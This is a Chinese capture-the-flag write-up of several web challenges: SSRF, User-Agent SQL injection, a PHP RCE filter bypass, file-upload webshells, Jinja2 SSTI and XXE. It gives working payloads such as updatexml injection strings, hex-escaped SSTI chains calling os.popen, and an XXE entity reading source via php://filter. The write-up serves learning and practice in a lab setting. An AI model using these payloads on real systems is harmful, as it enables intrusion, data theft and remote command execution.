一、Web(/6)
(1)ez_ssrf
本题是SSRF漏洞,通过查看代码我们可以得知,该页面以GET的方式接受url参数,改参数必须要以 http://127.0.0.1 开头,然后使用gethostbyname() 函数获取url参数传入的地址解析之后的IP。该IP不能是localhost或127.0.0.1
<?php
highlight_file(__FILE__);
//flag在/flag路由中
if (isset($_GET['url'])){
$url = $_GET['url'];
if (strpos($url, 'http://127.0.0.1') !== 0){
echo json_encode(["error" => "Only http://127.0.0.1 URLs are allowed"]);
exit;
}
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)){
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'curl/7.68.0');
$response = curl_exec($ch);
if (curl_errno($ch)){
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}
curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
既然如此,先绕过第一步,开头按要求使用http://127.0.0.1,然后使用@符号代替解析过程,直接指向@的地址,但是localhost和127.0.0.1都不能用,那我们使用0.0.0.0来代替
127.0.0.1 是回环地址,用于指向本机,常用于本地测试和服务访问,仅限本机使用,通信效率高。0.0.0.0 是未指定地址,用于监听所有网络接口的连接请求或表示未分配地址,具有通用性,但不能直接用于设备间通信。
假如将一个服务的允许IP设置为127.0.0.1:端口,那么就只有本机才能访问。但是如果设置为0.0.0.0:端口,那么只要访问该端口,所有请求都能访问

(2)ez_sql
打开题目环境,是一个登录界面,尝试弱口令,发现admin/admin123可以成功登录。但是账号和密码并不存在注入点,尝试UA头之后发现注入点

结合SQL报错信息和UA头的一般操作,这里可能是一个插入语句,将UA头存储到对应的IP和用户内容里面去。尝试基于报错注入构造Payload
' or updatexml(1,concat(0x7e,database()),0),1,1)#
成功获得数据库

同样的方法直接爆表名,采用正确闭合符 ,'
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'YUNXI_DB')),1),'
得到表名

继续爆内容
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name like 'YUNXI_USER' and table_schema like 'YUNXI_DB')),1),'

继续爆字段
' and updatexml(1,concat(0x7e,(select group_concat(concat(username,'^',password)) from YUNXI_USER),0x7e),1),'

成功了,但是无法完全显示,我们使用mid函数限制输出行,首先查看前半部分
' and updatexml(1,(SELECT mid(password,1) from YUNXI_USER as yx limit 1,1),1),'

然后是后半部分

拼接在一起即可
SQL MID() 语法
SELECT MID(column_name,start[,length]) FROM table_name
参数 描述 column_name 必需。要提取字符的字段。 start 必需。规定开始位置(起始值是 1)。 length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
(3)ez_rce
先查看源代码,本题需要传入四个变量,分别是 a,b,num,file
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['num'])) {
$a = $_POST['a'];
$b = $_POST['b'];
$num = $_GET['num'];
if (is_numeric($num)) {
die("num can't be a number</br>");
} elseif ($num != 123456) {
die("Wrong num</br>");
}
if ($a != $b && md5($a) === md5($b)) {
echo "successful</br>";
include($_POST['file']); #f11111ag.php
}
}
?>
首先绕过num与123456比较的逻辑,PHP是弱类型语言,弱比较会在比较之前将两边的值转换为相同的类型,而强比较则不仅比较值,还比较类型。这里明显是弱比较,那么我们在123456中加入任何字符就可以绕过这一步
接下来是a和b的自身相等性和md5值相等性的比较,这里要求a与b本身以及其md5值都分别相等。我们采用数组绕过,在PHP的MD5方法处理数组的时候会返回一个Warning级别的控制并继续执行代码
都绕过了,最后来读取一下f11111ag.php
文件,发现无法直接读取

采用PHP伪协议加上base64编码读取文件源码

解码得
<?php
error_reporting(0);
function no($txt) {
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|exec|printf|passthru|proc_open|shell_exec|eval|popen|f/i", $txt)) {
return $txt;
} else {
die("what's up");
}
}
$e = $_POST['e'];
if (isset($_GET['m']) && isset($_GET['n']) && isset($_POST['e'])) {
$param1 = no($_GET['m']);
$param2 = no($_GET['n']);
if (function_exists($e)) {
call_user_func($e, $param1, $param2);
} else {
die("Function not allowed.");
}
} else {
echo "nonono";
}
?>
这里e没有被使用过滤规则,我们直接使用 passthru 函数

查看flag,cat使用反斜杠绕过,f使用通配符替代

(4)ez_upload
打开界面是一个文件上传的地方,我们通过查看源码,发现了一个引用的js文件,其实就是前端文件后缀过滤,我们直接禁用js
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}
然后写一个后缀为 phtml 的一句话木马上传,链接成功

(4)野原新之助的商店
方法一 直接使用焚靖
先列出文件

直接查看文件

方法二 手搓
打开源代码,发现在渲染时使用了 render_template_string
函数,而不是 render_template
,页面结果直接由用户输入字符串渲染,存在SSTI漏洞
def search():
query = request.form.get('query', '').strip() # 从表单获取搜索词
# 检查用户输入是否包含黑名单中的关键字
if blacklist(query):
return "检测到非法输入!", 400
# 使用 render_template_string 渲染用户输入的内容
template = f'''
{{% extends "base.html" %}}
{{% block content %}}
<h2>搜索结果:"{query}"</h2>
<div class="user-input">
{query}
</div>
{{% endblock %}}
'''
return render_template_string(template)

同时注意到黑名单,我们使用最简单的十六进制绕过
BLACKLIST = [
"{%", "%}", # Jinja2 控制语句
"class", "init", "globals", "builtins", # 常见的 SSTI 关键字
".","_","|", # 符号
"config", "request", "session", # Flask 内置对象
"cat", "tac", "more","less","head","type" # 命令执行
]
先直接查看可用类:
{{''['__class__']['__base__']['__subclasses__']()}}
#十六进制替换
{{''['\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F']['\x5F\x5F\x62\x61\x73\x65\x5F\x5F']['\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F']()}}
返回了所有可用类,我们在其中找到包含os的类

def find_classes_with_keyword(classes_list, keyword):
matches = []
for index, class_str in enumerate(classes_list):
if keyword.lower() in class_str.lower():
class_name = class_str.split("'")[1] if "'" in class_str else class_str
matches.append((index, class_name))
return matches
if __name__ == "__main__":
# 读取文件名为1.txt的文件内容并转换为列表
with open("1.txt", "r") as file:
classes_str = file.read()
classes_list = [item.strip() for item in classes_str[1:-1].split(',')]
keyword = input("请输入要搜索的关键词: ").strip()
results = find_classes_with_keyword(classes_list, keyword)
if results:
print(f"找到 {len(results)} 个包含 '{keyword}' 的类:")
for idx, (position, class_name) in enumerate(results, 1):
print(f"{idx}. 位置: {position}, 类名: {class_name}")
else:
print(f"没有找到包含 '{keyword}' 的类")
发现132位置有我们要用的类

查找目录下文件
{{['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls')['read']()}}
#十六进制替换
{{''['\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F']['\x5F\x5F\x62\x61\x73\x65\x5F\x5F']['\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F']()[132]['\x5F\x5F\x69\x6E\x69\x74\x5F\x5F']['\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F']['popen']('ls')['read']()}}

查看flag文件
''['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ca\\t f1444444g')['read']()
#转换为十六进制
{{''['\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F']['\x5F\x5F\x62\x61\x73\x65\x5F\x5F']['\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F']()[132]['\x5F\x5F\x69\x6E\x69\x74\x5F\x5F']['\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F']['popen']('ca\\t f1444444g')['read']()}}

(5)Secret Platform
本题为XXE漏洞
查看源代码,发现一段关键的Javascript代码,大意是从表单提取name和value,然后以一个XML文件的格式提交。
<script>
document.getElementById('loginForm').addEventListener('submit', function (e) {
e.preventDefault(); // Prevent form submission
// Get user input
const name = document.getElementById('name').value;
const password = document.getElementById('password').value;
// Create XML payload
const xmlPayload = `
<?xml version="1.0" encoding="UTF-8"?>
<info>
<name>${name}</name>
<password>${password}</password>
</info>
`;
// Send XML data to the server using Fetch API
fetch('xxe.php', {
method: 'POST',
headers: {
'Content-Type': 'application/xml'
},
body: xmlPayload
})
.then(response => response.text())
.then(data => {
// Display server response
document.getElementById('message').innerText = data;
})
.catch(error => {
console.error('Error:', error);
document.getElementById('message').innerText = 'An error occurred. Please try again.';
});
});
</script>
我们使用bp抓包,果然是这样,那么我们声明一个实体来读取文件,发现可以成功读取

使用dirsearch扫描一下目录

发现一个upload目录和一个admin.php,我们使用XXE漏洞读取到admin.php的base64源码,解密后得到用户名和密码
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM
"php://filter/convert.base64-encode/resource=admin.php">
]>
<info>
<name>&xxe;</name>
<password>test</password>
</info>

登录后是一个文件上传的功能,上传文件提示只能上传图片,我们上传一个一句话木马,由于后端检测文件头,我们加上GIF89a。后端也过滤了php后缀名,我们使用Apache服务器的解析漏洞,将后缀改为.php.abc
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
如1.php.abc,因apache不识别.abc后缀,所以向前解析php 1.php.abc => 1.php test.php.owf.rar解析成test.php
上传成功,链接一下

然后找flag即可